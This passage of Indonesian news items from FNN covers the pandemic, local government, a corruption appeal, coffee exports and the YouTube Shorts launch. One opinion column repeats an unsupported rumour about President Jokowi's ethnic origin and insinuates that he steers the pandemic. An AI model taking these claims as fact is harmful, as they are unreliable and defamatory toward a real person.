(mth)

PDM Coffee Tapanuli Selatan Ikuti Lelang Kopi di Singapura

Sipirok, FNN - PDM (Pesantren Darul Mursyid) Coffee, Tapanuli Selatan (Tapsel) , salah satu produsen Kopi Arabika Sumatera Utara, mengikuti event lelang kopi imternasional di Singapore, "Lelang kopi itu diadakan Singapore Coffe Asociation dalam rangka Singapore International Coffee Convention dan Specialty Coffee Auction 2021 di Midview City, Singapora baru-baru ini," kata Kepala Bagian Pengembangan Usaha PDM Coffee, Fahmul Hidayat Hasibuan, di Sipirok, Sabtu. Ia mengatakan, seluruh negara produsen kopi terbaik di seluruh dunia seperti Brazil, Vietnam, Kolombia, India, Peru, Ethiopia dan lainnya ikut dalam even bergensi tersebut. Mengikut even ini secara virtual terkecuali para buyer dunia yang terdaftar dan terigestrasi yang bisa hadir untuk tatap muka, disebabkan pandemi COVID-19. "Namun sisi lain sistem itu, kata dia, cukup fair dan akuntable. Produsen kopi hanya mengirimkan sampel (30 kg) untuk di uji sekaligus promosi penjualan kepada buyer yang hadir," katanya. PDM Coffe beralamat di Sidapdap Simanosor Julu, Kecamatan SD.Hole mewakili Produsen Kopi Arabika Sipirok Sumatera Utara - Indonesia dalam even ini masuk nominasi. Bahkan sampel Kopi Arabika Sipirok sebanyak 30 kilo yang dikirim habis terjual dengan harga U$5/kg atau setara Rp72 ribu per kilo. "Menarik bukan soal lakunya, sampel Kopi Arabika Sipirok yang kita kirimkan dan informasikan "cupping score" nilainya 80,58. Ternyata setelah cek laboratoriun mesin sensory oleh panitia nilainya menjadi lebih baik yaitu 82,05," ungkapnya. Tidak diduga, tambahnya, belum selesai acara, manajemen PDM Coffee langsung banjir menerima pesan WhatsApp dari buyer beberapa negara yang salah satunya buyer asal Belgia disusul Belanda dan Polandia yang mengaku tertarik Kopi Arabika Sipirok. "Soal tawaran harga tidak masalah. Hanya saja permintaan kontrak Kopi Arabika Sipirok yang harus ditandatangani cukup besar 100 ton per tahun, sementara produksi masih lebih kurang 5 ton per bulan," katanya. "Kewalahannya disitu, dengan berat hati memang kami harus terpaksa mencancel memutus sepihak diakibatkan keterbatasan kami sendiri. Kami tidak putus asa, ini merupakan satu proses yang harus dihargai," tambahnya. Menurut dia, lelang kopi internasional yang di helat negara Singapore ini cukup baik diikuti dalam upaya mengembangkan bisnis khusus komoditi Kopi Arabika Sipirok Sumut-Indonesia. "Ada 8 produsen Kopi Arabika yang ada di Indonesia yang mengikuti lelang kopi internasional di Singapore diantaranya produsen kopi dari Sulawesi, Jawa, Bali dan Aceh di samping Sumut," katanya. (mth)

Kadinkes Bintan Pusing Peti Jenazah Pasien COVID-19 Meningkat

Bintan, Kepri, FNN - Kepala Dinas Kesehatan Kabupaten Bintan, Kepulauan Riau, Gama AF Isnaeni, merasa pusing karena kebutuhan peti jenazah untuk pasien COVID-19 meningkat tajam. "Pusing, setiap hari harus siapkan beberapa peti mati untuk jasad pasien COVID-19. Harganya sangat tinggi," kata Gama di Bintan, Sabtu. Ia menjelaskan harga satu peti jenazah pasien COVID-19 di atas Rp5 juta. Peti mati itu harus disiapkan Dinkes Bintan. Sementara anggaran yang tersedia di Dinkes Bintan terbatas. "Pemusaran dan peti mati tanggung jawab kami. Kalau pemakaman tanggung jawab BPBD," ujarnya. Gama mengemukakan jumlah pasien COVID-19 yang meninggal dunia akibat COVID-19 drastis meningkat pada Juni-Juli 2021. Sejak pandemi COVID-19 sampai sekarang jumlah pasien COVID-19 di Bintan yang meninggal dunia mencapai 108 orang. Lebih dari 50 persen pasien COVID-19 meninggal dunia pada Juni 2021 sampai sekarang. "Semalam ada lima orang yang meninggal dunia akibat COVID-19 sehingga menjadi 108 orang," katanya. Jumlah pasien COVID-19 di Bintan bertambah 77 orang sehingga menjadi 4.388 orang. Jumlah pasien yang sembuh 44 orang sehingg menjadi 3.695 orang. Jumlah kasus aktif di Bintan mencapai 585 orang. "Bintan sejak dua bulan lalu ditetapkan sebagai zona merah," ujarnya. (mth)

Pemkot Kendari Raih Peringkat Tiga Nasional Capaian MCP

Kendari, FNN - Pemerintah Kota (Pemkot) Kendari meraih peringkat ke-3 secara nasional dalam capaian "Monitoring Center for Prevention" (MCP) dengan skor 58,04 persen yang diumumkan pada Jumat (23/7). MCP adalah informasi capaian kinerja Program Koordinasi dan Supervisi Pencegahan Korupsi (Korasupgah) yang dilaksanakan pemda di seluruh Indonesia meliputi 8 area Intervensi. Wali Kota Kendari H. Sulkarnain Kadir, Sabtu, mengapresiasi jajarannya atas raihan tersebut sekaligus mengingatkan agar capaian itu bisa menggambarkan kinerja Pemerintah Kota Kendari. “Tentu kita apresiasi capaiannya, tetapi harus diingat bahwa ini adalah capaian sementara dan yang paling penting lagi substansi capaiannya harus benar-benar menggambarkan kinerja seluruh OPD dan bagian yang menjadi acuan/ indikator penilaian MCP," kata Sulkarnain. Sulkarnain memberikan semangat kepada jajaran untuk selalu menjaga kesehatan dan bekerja melayani masyarakat dengan Ikhlas. Wakil Wali Kota Kendari, Hj. Siska Karina Imran ikut memberikan ucapan selamat atas prestasi MCP yang diperoleh pemkot. “Selamat atas capaian MCP yang diperoleh Kota Kendari, Semoga upaya dalam memerangi korupsi bisa semakin baik, tentunya dengan perbaikan pada 7 item penilaian," kata Siska. Siska berharap melalui capaian tersebut kualitas pelayanan terhadap masyarakat bisa semakin baik dan jauh dari tindak pidana korupsi. “Tentunya nilai ini masih harus terus diperbaiki agar kualitas layanan masyarakat bisa semakin baik dan jauh dari tindak pidana korupsi. Meskipun kita ketahui bersama nilai bukan tujuan akhir, tetapi bagaimana memperbaiki layanan agar lebih baik dalam menciptakan good governance. Terkhusus untuk jajaran Inspektorat Kota Kendari semangat terus dalam bekerja," katanya. Sementara itu, Inspektur Kota Kendari, Syarifuddin menjelaskan bahwa capaian ini merupakan hasil penilaian per tanggal 23 Juli 2021 yang bisa saja mengalami perubahan, tergantung pemenuhan indikator keberhasilan pada masing-masing area intervensi penilaian Korwil IV Korsupgah KPK. “Pencapaian hasil sementara ini adalah berkat kerja keras dan komitmen seluruh OPD, baik yg terkait langsung maupun tidak langsung dengan aksi pencegahan korupsi terintegrasi Kota Kendari Tahun 2021” ujarnya. Ia berharap ASN lingkungan Pemerintah Kota Kendari agar konsisten dan berkomitmen membudayakan antikorupsi. “Semoga semangat kebersamaan ini senantiasa konsisten dan berkomitmen membudayakan antikorupsi di lingkungan Pemerintah Kota Kendari yang meliputi 7 area intervensi, yaitu Perencanaan Penganggaran, Perizinan, Pengadaan Barang Jasa, Kapabilitas APIP, Manajemen ASN, Optimalisasi PAD, dan Manajemen Aset," pungkasnya. (mth)

Kapolda Sultra Minta Jajaran Kedepankan Persuasif Saat Tegakkan PPKM

Kendari, FNN - Kapolda Sulawesi Tenggara (Sultra) Irjen Pol Yan Sultra Indrajaya meminta seluruh jajarannya mengedepankan pendekatan persuasif dalam menegakkan pemberlakuan pembatasan kegiatan masyarakat (PPKM) level 3 berskala mikro di daerah ini. "Ketika ada kegiatan masyarakat yang berkumpul beri imbauan dengan humanis dan persuasif. Tunjukkan bahwa kita bagian dari masyarakat dan ini demi kepentingan bersama," kata Kapolda di Kendari, Sabtu. Kapolda mengajak seluruh jajaran di daerah ini bersinergi bersama TNI untuk mengedukasi masyarakat agar disiplin menerapkan protokol kesehatan, terutama 5M, yakni memakai masker, menjaga jarak, rajin mencuci tangan, menghindari kerumunan, dan mengurangi mobilitas. "Prinsipnya kita memberi edukasi masyarakat dan beri pengertian dengan cara yang sopan dan santun. Tunjukkan bahwa kita bagian dari masyarakat," ujar Kapolda. Menurut Kapolda, penerapan protokol kesehatan dan vaksinasi saat ini penting apalagi tren kasus COVID-19 terus meningkat signifikan termasuk di wilayah Sulawesi Tenggara. Kapolda menyampaikan bahwa pihaknya akan maksimal dalam membantu pemerintah menangani pandemi COVID-19 sehingga bisa teratasi terutama di Sultra. "Kita all out membantu dan mendukung kebijakan pemerintah untuk memberi kesadaran tentang pentingnya protokol kesehatan kepada masyarakat," kata Kapolda. TNI-Polri di Sulawesi Tenggara terus menyambangi langsung masyarakat untuk memberikan bantuan sembako, khususnya untuk warga terdampak akibat penerapan PPKM berskala mikro guna mengendalikan penyebaran COVID-19. Satuan Tugas Penanganan COVID-19 Sulawesi Tenggara mencatat data pasien terkonfimasi positif COVID-19 hingga 23 Juli 2021 sebanyak 14.726 orang, 11.838 dinyatakan sembuh, 2.585 dalam menjalani perawatan dan isolasi, dan 303 orang meninggal.(mth)

PT Sparco Prioritaskan Distribusi Oksigen ke Apotik di Kalbar

Pontianak, FNN - PT Sparco selaku distributor oksigen di Kubu Raya, akan memprioritaskan distribusi oksigen ke seluruh apotik di Kalbar. "Kita bersyukur hari ini sudah datang oksigen yang kita beli dari Malaysia. Untuk pembeliannya kita dibantu Gubernur Kalbar Sutarmidji atas nama Pemprov Kalbar, Kadin Kalbar, Konsul Malaysia, Kerajaan Sarawak dan pihak terkait lainnya," kata Direktur PT Sparco, Handoko Yonestulin di Sungai Raya, Sabtu. Dia mengatakan, pihaknya akan memprioritaskan penyaluran oksigen di setiap apotek di Kalbar. Hal tersebut dilakukan untuk menghindari penumpukan antrean oksigen. "Sekarang bisa kita lihat kondisinya saat oksigen langka dan hanya ada beberapa distributor yang menjual, masyarakat mengantre panjang sehingga berpotensi terjadinya penumpukan. Namun, jika distribusi oksigen di apotek merata dan masyarakat bisa mudah mendapatkannya, tentu tidak akan mengantre lagi," tuturnya. Handoko mengakui, pihaknya baru kali ini mendatangkan oksigen dari Malaysia karena selama ini oksigen selalu didatangkan dari Jakarta atau produsen oksigen lainnya di Indonesia. "Untuk impor, kita baru kali ini namun ke depan ini kemungkinan akan berlanjut karena prosesnya lebih cepat sampai mengingat Kalbar dan Serawak masih satu daratan. Sedangkan kalau didatangkan dari Pulau Jawa, memang agak lama dan sering terkendala dalam pengiriman," katanya. Di tempat yang sama, Konsulat Malaysia di Pontianak, Mohiuddin Ghazali mengatakan hubungan Malaysia dan Indonesia secara khusus memang sangat akrab karena faktor negara serumpun dan bertetangga. "Selama ini hubungan antara pemerintah Indonesia khususnya Kalbar dengan Sarawak sudah sangat akrab, sehingga untuk bantuan pendistribusian dan kerjasama untuk oksigen ini bisa cepat kita bantu dan ini memang harus kita lakukan," katanya. Ia berharap ke depan banyak kerja sama yang bisa terus dilakukan agar kedua negara bisa lebih akrab dan sama-sama menyejahterakan masyarakat. (mth)

Legislator Dukung Aryo Djojohadikusumo Jadi Ketua Pordasi DKI

Jakarta, FNN - Anggota Komisi E DPRD DKI Jakarta, Yudha Permana mendukung Aryo Djojohadikusumo menjadi Ketua Pengurus Provinsi Persatuan Olahraga Berkuda Seluruh Indonesia (Pengprov Pordasi) DKI periode 2021-2024. "Saya mendukung program-program beliau untuk kemajuan olahraga berkuda di Ibu Kota," kata Yudha saat dikonfirmasi di Jakarta, Jumat. Yudha menyatakan, Aryo memiliki tekad untuk mencetak atlet berkuda berprestasi untuk DKI Jakarta maupun tingkat nasional. Anggota Komisi E DPRD DKI Jakarta itu menuturkan legislatif bisa mendorong Pordasi untuk berkolaborasi dengan Dinas Pemuda dan Olahraga (Dispora) dan Komite Olahraga Nasional Indonesia (KONI) DKI Jakarta agar dapat mewujudkan program jangka pendek maupun jangka panjang. Yudha berharap Pordasi bersama lembaga terkait di DKI Jakarta dapat membentuk atlet berprestasi pada kancah nasional maupun internasional. "Saya yakin jika Aryo nantinya terpilih sebagai Ketua Pordasi DKI Jakarta, olahraga berkuda akan semakin maju," ujar Yudha. Diungkapkan Yudha, Aryo sejak kecil sudah hobi olah raga berkuda bersama ayahnya, Hashim S Djojohadikusumo yang mendirikan Jakarta Polo dan Equestrian Club (JPEC) pada 1992. Pamannya Aryo, yakni Menteri Pertahanan Prabowo Subianto sebagai pemilik Nusantara Polo Club yang pernah membina Pelatnas Tim Polo Berkuda hingga meraih juara se-Asia pada 2014. "Aryo tumbuh di lingkungan pecinta binatang, keluarganya punya peran besar dalam memajukan olahraga berkuda di Tanah Air. Jadi olahraga berkuda sudah tidak asing lagi bagi Aryo," kata Yudha. Pemilihan Ketua Pengprov Pordasi DKI Jakarta rencananya dilaksanakan secara daring pada Senin (26/7). (mth)

Edhy Prabowo Ajukan Banding Atas Vonis 5 Tahun Penjara

Jakarta, FNN - Mantan Menteri Kelautan dan Perikanan Edhy Prabowo mengajukan banding terhadap vonis 5 tahun penjara ditambah denda Rp400 juta subsider 6 bulan kurungan dalam perkara penerimaan suap senilai 77 ribu dolar AS dan Rp24,6 miliar dari pengusaha terkait ekspor benih bening lobster (benur). "Pak Edhy mengajukan banding," kata penasihat hukum Edhy Prabowo, Soesilo Aribowo di Jakarta, Jumat. Pada Kamis (15/7), majelis hakim Albertus Usada di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta menjatuhkan vonis kepada Edhy Prabowo. Selain pidana badan selama 5 tahun, majelis hakim juga mewajibkan Edhy untuk membayar uang pengganti sekitar Rp9,6 miliar dan 77 ribu dolar AS subsider 2 tahun penjara. Majelis hakim juga memutuskan untuk mencabut hak Edhy Prabowo untuk dipilih dalam jabatan publik selama 3 tahun sejak selesai menjalani hukuman pidana. Ia dinyatakan terbukti melakukan tindak pidana melanggar Pasal 12 huruf a UU No. 31 tahun 1999 sebagaimana diubah UU No. 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 ayat (1) ke-1 KUHP Jo. Pasal 65 ayat 1 KUHP. "Alasan pengajuan banding adalah karena pasal yang diputuskan tidak tepat," tambah Soesilo. Soesilo menyatakan kliennya lebih tepat dikenakan Pasal 11 UU No. 31 tahun 1999 sebagaimana diubah UU No. 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 ayat (1) ke-1 KUHP Jo. pasal 65 ayat 1 KUHP. Salah satu anggota majelis hakim yaitu Suparman Nyompa juga menyatakan Edhy Prabowo terbukti melanggar Pasal 11 karena menurut Suparman tidak ada arahan dari Edhy Prabowo dan hanya hanya menekankan agar setiap permohonan yang masuk untuk budidaya dan ekspor benih bening lobster (BBL) tidak boleh dipersulit tapi dipermudah begitu juga izin tangkap ikan, izin diberikan bukan karena ada perintah dari Edhy. Suparman berpendapat Edhy Prabowo selaku Menteri Kelautan dan Perikanan tidak ada meminta atau menyuruh bawahan meminta atau menerima sejumlah uang. Dalam perkara ini, mantan Menteri Kelautan dan Perikanan Edhy Prabowo dinyatakan terbukti menerima suap senilai 77 ribu dolar AS dan Rp24.625.587.250 bersama-sama dengan Andreau Misanta Pribadi dan Safri (staf khusus Edhy Prabowo), Amiril Mukminin (sekretaris pribadi Edhy), Ainul Faqih (sekretaris pribadi Iis Rosita Dewi yaitu istri Edhy Prabowo) dan Siswadhi Pranoto Loe (pemilik PT Aero Cipta Kargo) dari Direktur PT Duta Putra Perkasa Pratama Suharjito dan perusahaan pengekspor BBL lain. Uang diterima melalui Safri yaitu 26 ribu dolar AS, Siswadhi Pranoto Loe menerima totalnya Rp13.199.689.193, Andreau Misanta Pribadi menerima Rp10.731.932.722 dan Amiril Mukminin menerima Rp2.369.090.000. Terkait perkara ini Andreau Misanta Pribadi dan Safri divonis 4,5 tahun penjara ditambah denda Rp300 juta subsider 6 bulan kurungan; Amiril Mukminin divonis 4,5 tahun penjara ditambah denda Rp300 juta subsider 6 bulan kurungan; Siswadhi Pranoto Loe divonis 4 tahun penjara ditambah denda Rp300 juta subsider 4 bulan kurungan dan Ainul Faqih divonis 4 tahun penjara ditambah denda Rp300 juta subsider 4 bulan. (sws)

Upacara Pembukaan Olimpiade Tokyo, Heningkan Cipta untuk yang Meninggal Dunia Karena COVID-19.

Jakarta, FNN - Upacara pembukaan Olimpiade Tokyo, Jumat malam, menyelipkan momen hening untuk mengenang mereka yang meninggal dunia karena COVID-19. Momen hening tersebut sekaligus mengenang insiden pembantaian Munchen yang menewaskan atlet Israel pada Olimpiade Munchen 1972. Upacara pembukaan Olimpiade Tokyo yang disiarkan langsung TVRI dan secara daring di Vidio.com itu resmi dimulai, ditandai dengan kembang api yang memeriahkan langit malam kota Tokyo. Sebelum nyala kembang api, acara yang digelar di Stadion Nasional Tokyo, Olympics Stadium, tanpa penonton itu dibuka dengan lampu sorot yang mengarah pada seorang penari berbaju putih, dengan bayang-bayang menyerupai tunas yang makin lama semakin membesar. Belasan penari kemudian muncul memenuhi lapangan bersama dengan video memproyeksikan tali berwarna merah yang menghubungkan satu sama lain. Kaisar Jepang Naruhito dan Presiden Komite Olimpiade Internasional (IOC), Thomas Bach, memasuki stadion dengan menggunakan masker. Selanjutnya, bendera Jepang dibawa ke stadion oleh enam orang, termasuk di dalamnya adalah para mantan atlet Olimpiade. Para penari kemudian menyalakan simbol cincin Olimpiade. (sws)

Mana Lebih Dulu Berakhir: Jokowi atau Pandemi

Ini pertanyaan koplak, konyol, lucu tapi menarik! Oleh Sugengwaras Bandung, FNN - Keduanya ada kemiripan yang berbeda, tapi juga ada perbedaan yang mirip, bak kebenaran yang tidak adil dan keadilan yang tidak benar. Ibarat kerja berawal dari akhir dan berakhir di awal, seperti tepi tanpa batas dan batas tak bertepi. Unik memang, Jokowi dan pandemi. Konon pandemi Covid -19 berawal dari Wuhan, Cina, yang kebetulan Jokowi mirip Cina, konon nama asli kecilnya Oei Hong Liong. Jokowi dan pandemi sama-sama bikin cemas harap bangsa Indonesia, sama- sama bisa dalam ujud buzzer dan influencer yang dahsyat. Gerakannya nyaris tidak nyata, tapi akibatnya sangat mengerikan, sama- sama tidak peduli, tidak mau dengar, tidak mau melihat dan tidak mau merasa ketika awal-awal pandemi rakyat Indonesia banyak menjerit, menangis, merengek-rengek, untuk menurunkan BBM, sementara negara tetangga seperti Singapura dan Malaysia bisa menurunkan, tapi Jokowi benar-benar tak bergeming tetap pada prinsipnya. Keduanya sama-sama pandai membuat gaduh, bikin perpecahan antara pemerintah dengan rakyat, baik vertikal maupun horizontal, membuat resah dan gelisah, tidak nyaman, selalu konflik dan kontroversial, mudah bikin hutang dan mengorbankan orang banyak, gampang mengubah hukum lama menjadi baru, terutama saat menjelang ada mutasi jabatan strategis, dengan sigapnya membuat perubahan aturan atau statuta, sebagai dasar hukum, seperti pembolehan jabatan rangkap Ari Kuncoro, yang Rektor UI yang juga Wakil Komisaris Utama PT BRI. Di sana sini mudah mempengaruhi orang lain, membuat situasi dan kondisi cepat berubah, membela lawan dan menindas rakyat sendiri, memberdayakan orang asing, mengkredilkan bangsa sendiri, mempermudah membuat orang asing ber KTP ganda, dan surat surat sakti, tapi mempersulit rakyat bepergian karena tidak ada surat keterangan vaksinasi. Jokowi dan pandemi sama-sama saling bergantung dan berharap! Karena Jokowi, maka pandemi bisa diatur, baik wilayah pengaruhnya, waktunya maupun keganasan dan kelunakanya. Karena pandemi Jokowi bisa mengatur ada PSPB, PPKM DARURAT dan PPKM LEVEL 4 (nggak tahu apa artinya katanya hanya njiplak WHO). Jokowi dan pandemi sama-sama bisa membuat hukum, regulasi sesuai yang dikehendaki. Tidak ada pandemi, Jokowi kurang rezeki, tidak ada Jokowi pandemi tidak bisa bernyanyi. Kesimpulannya, ada kemiripan yang berbeda dan ada perbedaan yang mirip antara Jokowi dan pandemi, sehingga sangat mungkin punahnya pandemi bersamaan berakhirnya jabatan Jokowi. Kapan? Jangan tanya kepada rumput yang tidak mau goyang! Dan jawabanya ada pada rumput yang mau bergoyang,. yang mendorong pengunduran diri Jokowi secara terhormat, dilengserkan paksa atau melalui Sidang Umum MPR. Penulis adalah Purn TNI AD, Mantan Direktur Pendidikan dan Pengajaran SESKO TNI, Panglima TRITURA, Ketua DPD APIB JABAR, Pengaping KAMI Jabar, Pemerhati Pertahanan dan Keamanan NKRI.

Polisi Telah Periksa 20 Saksi Terkait Kasus KTP Palsu di Jambi

Jambi, FNN - Penyidik Subdit V Cyber Crime Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Jambi hingga saat ini sudah memeriksa 20 orang saksi yang dimintai keterangannya terkait kasus pemalsuan Kartu Tanda Penduduk (KTP) di Dinas Kependudukan dan Pencatatan Sipil (Dukcapil) Kota Jambi. Wakil Direktur Kriminal Khusus Polda Jambi AKBP M Santoso saat dikonfirmasi, Jumat, mengatakan pemeriksaan 20 saksi tersebut sudah dilaksanakan selama tujuh hari, termasuk mantan kepala dinas (Kadis) Dukcapil Kota Jambi. Menurut dia, pemeriksaan para saksi tersebut dilakukan untuk mengumpulkan alat bukti dan untuk dapat menetapkan tersangka pada kasus tersebut. "Keterangan dari saksi saksi untuk mengumpulkan alat bukti supaya kami dapat menentukan siapa tersangka dalam perkara ini, maka dari itu semuanya yang diperiksa dari pegawai. honor sampai mantan kepala dinasnya," kata Santoso. Pengusutan kasus ini didasarkan pada adanya laporan dari korban KTP palsu tersebut dan kemudian polisi melakukan penyelidikan dan pihaknya telah mendapatkan indikasi adanya modus-modus untuk melakukan pemalsuan KTP, katanya. Setelah dilakukan penyidikan, katanya, telah mengindikasi modus pemalsuan KTP ini dengan melakukan pencetakan KTP di luar jam dinas Disdukcapil Kota Jambi, di mana pencetakan dilakukan sekitar pukul 04.00 WIB dan indikasinya ada sekitar 18 KTP, pada hari itu juga dilakukan pencetakan. Modus selanjutnya yaitu dengan melakukan ilegal akses komputer maupun sistem pencetakan KTP. Modus ketiga yaitu menggunakan material KTP bekas, yang mana KTP asli tersebut dibersihkan diamplas dan dicuci sehingga bahan material tersebut dapat kembali dipergunakan untuk mencetak KTP lainnya. Terkait kasus ini, diduga terjadi pelanggaran terhadap Pasal 1, 2 dan 3 UU ITE tentang Tindak Pidana Ilegal Akses dengan ancaman pidana 5 tahun penjara, dan denda sekitar Rp500 juta sampai Rp700 juta.(sws)

Penanganan COVID-19 dari Hulu di Surabaya Dinilai Kurang Maksimal

Surabaya, FNN - Percepatan penanganan COVID-19 dari hulu di Kota Surabaya, Jawa Timur, dinilai masih kurang maksimal, sehingga masih banyak ditemukan warga termasuk tenaga kesehatan yang terpapar virus corona. "Saya mengapresiasi, akhir-akhir ini, Pemkot Surabaya sudah banyak melakukan terobosan inovatif untuk penanganan COVID-19," kata anggota Komisi A DPRD Surabaya Fatkur Rohman saat rapat daring bersama Humas Pemkot Surabaya, Jumat. Menurut dia, terobosoan yang sudah dilakukan Pemkot Surabaya mulai dari kebijakan tracing, pembatasan, menurunkan beberapa SDM ke puskesmas, puskesmas buka 24 jam dan yang terbaru adalah mencari tempat untuk isolasi mandiri (isoman) per kelurahan, walaupun beberapa ada problem komunikasi dan kesalahpahaman sehingga ada penolakan dari warga. "Namun terobosan itu masih sebatas hilir, bukan hulunya. Padahal hulu ini justru kuncinya," ujarnya. Itu semua, lanjut dia, adalah akibat dari penanganan setelah seseorang itu ada gejala dan terpapar COVID-19, padahal problem utama adalah di penyebabnya atau di hulunya, yaitu bagaimana memastikan semua pihak mematuhi regulasi dan menjaga prokes dengan penuh kesadaran bukan dipaksa-paksa yang justru kontraproduktif. "Peran Humas Pemkot Surabaya ke depan ini adalah penguatan mindset, edukasi dan sosialiasi bagaiamana ini viral dan masif. Tentunya dengan melibatkan akademisi dan praktisi medis untuk bicara, manfaatkan teknologi dan, jika diperlukan, ada support tambahan anggaran untuk ini," ujarnya. Fatkhur mengatakan terobosan inovatif yang bersifat hilir yang sudah dilakukan pemkot tetap harus dilanjutkan, namun terobosan yang bersifat hulu juga harus diberikan perhatian lebih. Fakta di lapangan, kata dia, masih banyak ditemukan warga Surbaya yang masih malu ketika mengetahui terpapar COVID-19 karena dianggap sebagai aib. Sehingga mereka beranggapan lebih baik di rumah saja dengan pengobatan seadanya dan tidak mau tes usap atau periksa padahal kondisi makin memburuk. "Kondisi rumah yang tidak memungkinkan mengisolasi diri, ventilasi udara yang kurang bagus dan berdekatan makin memperparah munculnya kluster keluarga akhir-akhir ini. Ini problem hulu, problem mindset, pengetahuan dan kesadaran," katanya. Untuk itu, ia berharap humas mengambil peran ini, bersinergi secara masif dengan semua pihak termasuk media, kalau perlu ada papan reklame yang memberikan pesan perihal ini secara terus menerus. "Jadi tidak boleh putus semangat, ini sulit tapi dengan niat baik, jika Allah berkehendak maka warga pelan-pelan akan semakin sadar dan selebihnya berdoa pada Allah atas semua ikhtiar ini. Semoga Allah melindungi dan menyehatkan kita semua serta mencabut penyakit ini dari bumi Nusantara," katanya. (mth)

KLHK: Penumbuhan Kesadaran Masih Jadi Tantangan Pengelolaan Sampah

Jakarta, FNN - Kepala Sub Direktorat Barang dan Kemasan Kementerian Lingkungan Hidup dan Kehutanan (KLHK) Ujang Solihin Sidik mengatakan menumbuhkan kesadaran publik masih menjadi tantangan terbesar terkait isu pengelolaan sampah di tanah air. Dalam diskusi virtual Forum Ekonomi Sirkular Indonesia kr-4 yang dipantau dari Jakarta, Jumat, Ujang mengutip data Indeks Perilaku Ketidakpedulian Lingkungan Hidup oleh Badan Pusat Statistik pada 2018 yang menemukan 72 persen masyarakat masih tidak peduli dengan pengelolaan sampah. "Kalau ini tidak ditumbuhkan ini masih akan menjadi PR besar kita sampai generasi berikutnya. Ini tantangan yang harus kita hadapi, salah satu PR terbesar kita adalah membangun kesadaran publik," kata Ujang. Terkait proses peningkatan kesadaran publik akan pentingnya proses pengolahan sampah, Ujang menegaskan edukasi memiliki peran besar dan memerlukan waktu dan konsistensi. Di KLHK sendiri, menurut Ujang, memiliki rancangan terkait komunikasi informasi edukasi pengelolaan sampah yang bertujuan untuk mencapai pengurangan dan penanganan sampah. Pesan terkait manfaat yang bisa didapatkan dari pengurangan dan penanganan sampah juga harus disampaikan kepada publik agar dapat mendorong perubahan perilaku. "Pesan-pesan ini penting yang sedang menjadi grand design kami di KLHK ketika berbicara soal komunikasi informasi dan edukasi ini," jelasnya. Dia juga menjelaskan terdapat beberapa tantangan untuk melakukan edukasi yaitu anggaran yang terbatas dan sering kali tidak menjadi prioritas, produksi yang tidak murah dan sulit dilakukan di beberapa jaringan serta dampak edukasi yang tidak bisa terlihat secara instan. (mth)

YouTube Shorts Resmi Rilis di Indonesia

Jakarta, FNN - Setelah diluncurkan terlebih dahulu secara global, akhirnya platform berbagi video YouTube meresmikan perilisan fitur YouTube Shorts secara resmi di Indonesia dengan versi beta untuk memberikan pengalaman lebih kaya lagi bagi konten kreator. “Dengan kehadiran fitur ini kami ingin mempermudah kreator untuk berkreasi dari handphone mereka, mereka bisa secara mudah berkreasi, mengedit, dan meng-upload hasilnya,” kata Direktur Marketing Google Indonesia Filipina dan YouTube Asia Tenggara Veronica Utami dalam konferensi pers virtualnya, Jumat. YouTube Shorts merupakan fitur baru yang memungkinkan kreator untuk membuat video versi pendek mulai dari 15 detik hingga 1 menit. Tentunya referensi untuk penggunaan audio di dalam aplikasi YouTube Shorts terintegrasi dengan seluruh audio yang ada baik di YouTube Shorts lainnya maupun dengan audio yang sudah ada di layanan YouTube sebelumnya. Dengan banyak jumlah video dan audio yang diunggah di YouTube tentu kreator memiliki segudang ide yang bisa ditampilkan lewat video pendeknya. “Banyak kreativitas yang bisa d-iunlock oleh kreator, karena kami menyediakan tidak cuma referensi audio tapi juga konten lainnya seperti cuplikan video jokes atau motivational speech. Bisa juga anda mengambil cuplikan audio untuk latar suara seperti suara gergaji, jadi ada berbagai ide untuk menggunakan fitur ini,” kata Veronica. Mulai hari ini anda bisa membuat konten YouTube Shorts dengan mengakses di bagian bawah aplikasi YouTube bersamaan dengan akses live streaming. Saat ini setiap konten YouTube Shorts yang diunggah direkomendasikan disertakan #shorts agar lebih mudah dijangkau dan dilihat oleh banyak orang. Bagi anda yang sekadar mencari hiburan berdurasi pendek pun anda bisa mencari #shorts untuk melihat konten- konten yang telah dibuat oleh kreator Indonesia. Meski masih berupa versi beta, YouTube Shorts hadir dengan fitur yang cukup lengkap. Cara Menggunakan Shorts Anda bisa mengatur berapa kali jumlah anda mengambil gambar sesuka hati dengan durasi maksimal 60 detik. Perekaman atau pengambilan gambar di YouTube Shorts tersedia dalam tiga metode. Metode pertama kreator bisa mengambil gambar dengan terus menerus menekan tombol ambil gambar dan berhenti menekannya setelah pengambilan gambar sudah selesai. Metode kedua kreator bisa menekan tombol mengambil gambar dengan lebih lama sehingga pengambilan gambar bisa dilakukan secara otomatis dan kreator bisa menekan kembali tombol itu untuk berhenti mengambil gambar. Terakhir, kreator bisa memanfaatkan fitur timer sehingga bisa menyiapkan diri sebelum pengambilan gambar dilakukan. Kreator bisa menyiapkan waktu bersiap- siap sebelum pengambilan gambar dilakukan dengan jeda waktu 3 detik, 10 detik, serta 20 detik. Ada fitur undo dan redo ketika pengambilan gambar berlangsung sehingga pengguna bisa memanfaatkannya sesuai kebutuhan. Lalu pengguna juga bisa mengatur kecepatan pengambilan video,bisa diatur dengan ritme cepat hingga 3 kali lipat atau pun dengan ritme lambat hingga 0,3 kali lipat. Tak ketinggalan ada juga filter yang tersedia lebih dari 10 jenis yang bisa ditambahkan untuk mempercantik dan memperindah gambar yang anda buat. Untuk fitur penambahan lagu anda bisa menambahkan lagu di awal atau pun di akhir pengeditan video sesuai dengan kebutuhan Anda. Bagian lagu atau audio yang ditambahkan pun tentunya bisa dipilih sesuai dengan keinginan kreator. Fitur penambahan teks juga sudah disematkan dalam aplikasi YouTube Shorts dan bisa diatur kapan tulisan tersebut muncul di bagian video. Setelah selesai melakukan penyuntingan gambar, anda bisa langsung mengunggah YouTube Shorts Anda ke akun YouTube untuk kemudian dibagikan ke warganet. Jangan lupa berikan judul yang menarik dengan tagar yang relevan sehingga video anda bisa dengan mudah disaksikan banyak penonton. Selain menyediakan kemudahan untuk para kreator konten berkarya lewat video pendeknya, kini YouTube juga menyiapkan layanan #Shorts bisa dilihat lebih mudah oleh pengguna yang menggunakan layanan mereka untuk mencari hiburan. Selain telah menyiapkan kanal khusus untuk konten Shorts di bagian bawah aplikasi, 